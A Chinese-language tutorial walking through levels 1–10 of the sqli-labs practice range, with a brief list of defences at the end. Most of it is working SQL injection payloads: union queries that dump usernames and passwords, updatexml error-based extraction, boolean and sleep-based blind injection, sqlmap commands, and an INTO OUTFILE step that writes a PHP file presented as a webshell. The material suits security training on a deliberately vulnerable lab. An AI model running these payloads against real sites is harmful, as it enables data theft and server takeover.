sqli-labs靶场less-1-10
字数 1577 2025-09-01 11:25:54
SQL注入攻击技术详解:sqli-labs靶场Less-1至Less-10实战指南
1. SQL注入基础概念
SQL注入是一种通过在用户输入中插入恶意SQL代码来操纵数据库查询的攻击技术。攻击者可以利用这种技术绕过认证、窃取数据、修改数据甚至获取服务器控制权。
2. 注入类型判断方法
2.1 数字型与字符型注入的区分
-
减法判断法:
id=2-1:如果返回id=1的结果,则是数字型注入;否则是字符型注入- 原理:数字型会计算表达式,字符型会将整个表达式视为字符串
-
逻辑判断法:
id=1 and 1=1和id=1 and 1=2:- 两者都能正常回显 → 字符型注入
- 只有前者正常回显 → 数字型注入
2.2 字符型注入闭合方式判断
常见闭合方式:'、"、')、")等
判断方法:
- 尝试
id=1'和id=1":- 如果
id=1'报错 → 可能是'闭合 - 如果
id=1"报错 → 可能是"闭合 - 如果两者都报错 → 可能是混合闭合(如
')、"))
- 如果
3. 各关卡详细注入技术
Less-1:字符型单引号注入
源码分析:
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
注入步骤:
- 判断列数:
?id=1' order by 3--+ - 联合查询:
?id=-1' union select 1,2,3--+ - 获取数据库信息:
?id=-1' union select 1,2,database()--+ - 获取表名:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+ - 获取列名:
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')--+ - 获取数据:
?id=-1' union select 1,2,group_concat(username,':',password) from users--+
Less-2:数字型注入
源码分析:
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
注入步骤:
与Less-1类似,但无需闭合单引号:
?id=-1 union select 1,2,group_concat(username,':',password) from users
Less-3:字符型单引号括号注入
源码分析:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
注入步骤:
使用')闭合:
?id=-1') union select 1,2,group_concat(username,':',password) from users --+
Less-4:字符型双引号括号注入
源码分析:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
注入步骤:
使用")闭合:
?id=-1") union select 1,2,group_concat(username,':',password) from users --+
Less-5:单引号报错注入
源码特点:
- 查询成功只显示"You are in",不显示数据
- 查询失败会显示错误信息
报错注入函数:
updatexml()extractvalue()floor() + rand() + group byexp()
注入步骤:
?id=1' and updatexml(1,concat(0x7e,version()),3) --+
0x7e是~的十六进制表示- 第一个和第三个参数可随意,用于触发XPath语法错误
完整利用:
- 获取数据库名:
?id=1' and updatexml(1,concat(0x7e,database()),3) --+ - 获取表名:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+ - 获取数据(需使用limit限制返回行数):
?id=1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),3)--+
Less-6:双引号报错注入
与Less-5类似,但闭合方式为双引号:
?id=1" and updatexml(1,concat(0x7e,database()),3) --+
Less-7:文件读写注入
注入特点:
- 闭合方式为
')) - 可利用
INTO OUTFILE写入文件
前置条件:
- 获取MySQL写入目录:
?id=-1' UNION SELECT 1,@@basedir,@@datadir --+ - 确保
secure_file_priv参数为空:secure_file_priv =
文件写入步骤:
- 写入数据库信息:
?id=-1')) union select 1,2,database() into outfile "D:\\path\\test.txt" --+ - 写入一句话木马:
?id=-1')) union select 1,2,"<?php phpinfo();?>" into outfile "D:\\path\\shell.php" --+
Less-8:布尔盲注
适用场景:
- 页面没有明显错误回显
- 只有"正确"和"错误"两种状态
关键函数:
ascii(str)- 返回ASCII码length(str)- 返回字符串长度mid(str,index,j)- 返回从index开始的j个字符substr(str,index,j)- 同mid
注入步骤:
- 判断数据库长度:
?id=1' and length(database())=8 --+ - 逐字符判断:
?id=1' and ascii(mid(database(),1,1))=115 --+
自动化工具:
sqlmap -u http://target/Less-8/?id=1 --batch
Less-9:时间盲注
适用场景:
- 页面无论输入什么总是相同回显
关键函数:
if(条件,a,b) # 条件为真返回a,否则返回b
sleep(n) # 延迟n秒
注入步骤:
- 判断闭合方式:
?id=1' and if(1,sleep(5),1) --+ - 判断数据库长度:
?id=1' and if(length(database())=8,sleep(5),1)--+ - 逐字符判断:
?id=1' and if(ascii(mid(database(),1,1))=115,sleep(5),1)--+
自动化工具:
sqlmap -u http://target/Less-9/?id=1 --batch --technique T
Less-10:双引号时间盲注
与Less-9类似,但闭合方式为双引号:
?id=1" and if(1,sleep(5),1) --+
自动化工具:
需要指定level参数:
sqlmap -u http://target/Less-10/?id=1 --batch --level 3
4. 防御建议
- 使用参数化查询(预处理语句)
- 对用户输入进行严格过滤和转义
- 最小权限原则,数据库用户只赋予必要权限
- 关闭错误回显
- 使用Web应用防火墙(WAF)
5. 总结
本教程详细介绍了sqli-labs前10关的各种SQL注入技术,包括:
- 联合查询注入
- 报错注入
- 布尔盲注
- 时间盲注
- 文件读写注入
每种技术都有其适用场景和利用方法,理解这些技术原理对于Web安全测试和防御至关重要。